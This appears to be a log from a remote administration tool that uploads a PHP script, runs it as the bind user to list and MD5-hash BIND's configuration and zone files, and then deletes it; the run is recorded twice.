MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 17:26:19: Establishing a connection
2026-04-24 17:26:20: 

PUT: /tmp/pkp467528

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 17:26:20: 

runuser -l bind -s /bin/bash -c '/tmp/pkp467528; rm /tmp/pkp467528'

2026-04-24 17:26:20: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 17:26:22: Establishing a connection
2026-04-24 17:26:22: 

PUT: /tmp/pkp889541

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 17:26:22: 

runuser -l bind -s /bin/bash -c '/tmp/pkp889541; rm /tmp/pkp889541'
